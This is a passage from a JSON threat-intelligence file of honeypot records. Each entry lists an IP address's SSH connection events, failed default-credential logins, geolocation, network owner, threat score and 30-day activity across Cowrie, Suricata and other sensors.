        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:38:12.016000+00:00",
        "last_seen_30d": "2026-05-09T06:39:19.883000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "35.216.189.16": {
      "attack_count": 4,
      "first_seen": "2026-05-07T00:29:01.801Z",
      "last_seen": "2026-05-07T00:29:02.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 27,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-03T01:50:46.510000+00:00",
        "last_seen_30d": "2026-05-29T21:23:51.273000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Ciscoasa": 10,
        "Tanner": 7,
        "Cowrie": 4,
        "ElasticPot": 2,
        "Dionaea": 1
      }
    },
    "45.156.129.191": {
      "attack_count": 4,
      "first_seen": "2026-05-12T19:14:14.090Z",
      "last_seen": "2026-05-12T19:14:22.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:30:47.100000+00:00",
        "last_seen_30d": "2026-05-12T19:15:32.205000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "118.145.245.82": {
      "attack_count": 3,
      "first_seen": "2026-05-16T05:08:29.611Z",
      "last_seen": "2026-05-16T05:09:30.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T05:08:29.611000+00:00",
        "last_seen_30d": "2026-05-16T05:10:32.066000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "118.194.235.105": {
      "attack_count": 3,
      "first_seen": "2026-05-07T22:06:41.668Z",
      "last_seen": "2026-05-07T22:07:59.998Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:47:45.564000+00:00",
        "last_seen_30d": "2026-05-23T17:52:04.793000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3
      }
    },
    "218.21.0.230": {
      "attack_count": 3,
      "first_seen": "2026-05-19T06:01:42.495Z",
      "last_seen": "2026-05-19T06:03:42.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:01:42.495000+00:00",
        "last_seen_30d": "2026-05-20T02:51:39.511000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "34.122.222.227": {
      "attack_count": 3,
      "first_seen": "2026-05-09T03:58:29.113Z",
      "last_seen": "2026-05-09T03:59:30.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T03:58:29.113000+00:00",
        "last_seen_30d": "2026-05-09T04:00:39.759000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "45.126.211.167": {
      "attack_count": 3,
      "first_seen": "2026-05-14T06:23:31.460Z",
      "last_seen": "2026-05-14T06:24:18.063Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-14T06:23:31.460000+00:00",
        "last_seen_30d": "2026-05-14T17:36:40.900000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "47.236.48.30": {
      "attack_count": 3,
      "first_seen": "2026-05-22T11:59:49.946Z",
      "last_seen": "2026-05-22T12:01:49.951Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:59:49.946000+00:00",
        "last_seen_30d": "2026-05-22T12:02:57.767000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "47.239.89.220": {
      "attack_count": 3,
      "first_seen": "2026-05-21T11:32:58.513Z",
      "last_seen": "2026-05-21T11:33:58.944Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:32:58.513000+00:00",
        "last_seen_30d": "2026-05-21T11:35:00.964000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.227.114.185": {
      "attack_count": 3,
      "first_seen": "2026-05-28T14:36:54.063Z",
      "last_seen": "2026-05-28T14:36:54.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T14:36:54.063000+00:00",
        "last_seen_30d": "2026-05-28T14:37:58.602000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "91.231.89.72": {
      "attack_count": 3,
      "first_seen": "2026-05-15T23:56:40.868Z",
      "last_seen": "2026-05-15T23:56:40.870Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 29,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:15:19.513000+00:00",
        "last_seen_30d": "2026-05-30T03:50:05.254000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 145,
        "Honeytrap": 26,
        "Cowrie": 3
      }
    },
    "102.100.237.97": {
      "attack_count": 2,
      "first_seen": "2026-05-15T21:30:20.049Z",
      "last_seen": "2026-05-15T21:30:33.147Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Tangier",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T21:30:20.049000+00:00",
        "last_seen_30d": "2026-05-15T21:31:33.942000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.213.112.128": {
      "attack_count": 2,
      "first_seen": "2026-05-26T19:25:42.798Z",
      "last_seen": "2026-05-26T19:25:55.243Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:25:42.798000+00:00",
        "last_seen_30d": "2026-05-26T19:26:58.016000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "105.72.129.247": {
      "attack_count": 2,
      "first_seen": "2026-05-04T18:14:05.002Z",
      "last_seen": "2026-05-04T18:14:17.081Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:14:05.002000+00:00",
        "last_seen_30d": "2026-05-04T18:15:24.231000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.186.148.188": {
      "attack_count": 2,
      "first_seen": "2026-05-29T03:28:37.990Z",
      "last_seen": "2026-05-29T03:28:51.189Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T03:28:37.990000+00:00",
        "last_seen_30d": "2026-05-29T03:29:58.187000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.74.178.253": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:15:53.010Z",
      "last_seen": "2026-05-05T22:16:24.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 45668,
      "as_org": "AIMS Data Centre Sdn Bhd",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:15:53.010000+00:00",
        "last_seen_30d": "2026-05-05T22:17:25.099000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "113.218.156.65": {
      "attack_count": 2,
      "first_seen": "2026-05-23T02:31:44.671Z",
      "last_seen": "2026-05-23T02:31:57.802Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:31:44.671000+00:00",
        "last_seen_30d": "2026-05-23T02:33:02.176000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.28.119.54": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:09:00.222Z",
      "last_seen": "2026-05-22T16:09:13.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Juan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:09:00.222000+00:00",
        "last_seen_30d": "2026-05-22T16:10:16.815000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.247.118.189": {
      "attack_count": 2,
      "first_seen": "2026-05-14T18:03:45.502Z",
      "last_seen": "2026-05-14T18:03:58.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T18:03:45.502000+00:00",
        "last_seen_30d": "2026-05-14T18:04:59.893000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.108.215.125": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:41:55.137Z",
      "last_seen": "2026-05-06T01:42:08.258Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Dutra",
      "asn": 264351,
      "as_org": "UNA TELECOMUNICACOES LTDA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:41:55.137000+00:00",
        "last_seen_30d": "2026-05-06T01:43:12.188000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.222.230.162": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:34:06.657Z",
      "last_seen": "2026-05-11T16:34:19.754Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Esenyurt",
      "asn": 204457,
      "as_org": "Atlantis Telekomunikasyon Bilisim Hizmetleri San. ve Tic. Ltd. Sti.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:34:06.657000+00:00",
        "last_seen_30d": "2026-05-11T16:35:20.718000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.255.87.20": {
      "attack_count": 2,
      "first_seen": "2026-05-03T04:00:58.531Z",
      "last_seen": "2026-05-03T04:01:11.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Aracaju",
      "asn": 263960,
      "as_org": "speed telecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:00:58.531000+00:00",
        "last_seen_30d": "2026-05-03T04:02:18.032000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.156.245.17": {
      "attack_count": 2,
      "first_seen": "2026-05-04T22:52:48.220Z",
      "last_seen": "2026-05-04T22:53:19.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:52:48.220000+00:00",
        "last_seen_30d": "2026-05-04T22:54:29.062000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "169.224.10.66": {
      "attack_count": 2,
      "first_seen": "2026-05-10T20:25:20.949Z",
      "last_seen": "2026-05-10T20:25:35.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:25:20.949000+00:00",
        "last_seen_30d": "2026-05-10T20:26:38.575000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.249.21.107": {
      "attack_count": 2,
      "first_seen": "2026-05-24T18:05:48.147Z",
      "last_seen": "2026-05-24T18:06:02.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:05:48.147000+00:00",
        "last_seen_30d": "2026-05-24T18:07:11.844000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.136.168.226": {
      "attack_count": 2,
      "first_seen": "2026-05-21T23:13:52.488Z",
      "last_seen": "2026-05-21T23:14:04.970Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ara\u00e7ua\u00ed",
      "asn": 263594,
      "as_org": "MAXXITEL INFORMATICA E TELECOM LTDA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:13:52.488000+00:00",
        "last_seen_30d": "2026-05-21T23:15:06.924000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.231.64.70": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:46:19.701Z",
      "last_seen": "2026-05-10T01:46:34.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tuxtla Guti\u00e9rrez",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:46:19.701000+00:00",
        "last_seen_30d": "2026-05-10T01:47:34.680000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.60.185.43": {
      "attack_count": 2,
      "first_seen": "2026-05-12T04:35:53.779Z",
      "last_seen": "2026-05-12T04:37:53.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "Tegucigalpa",
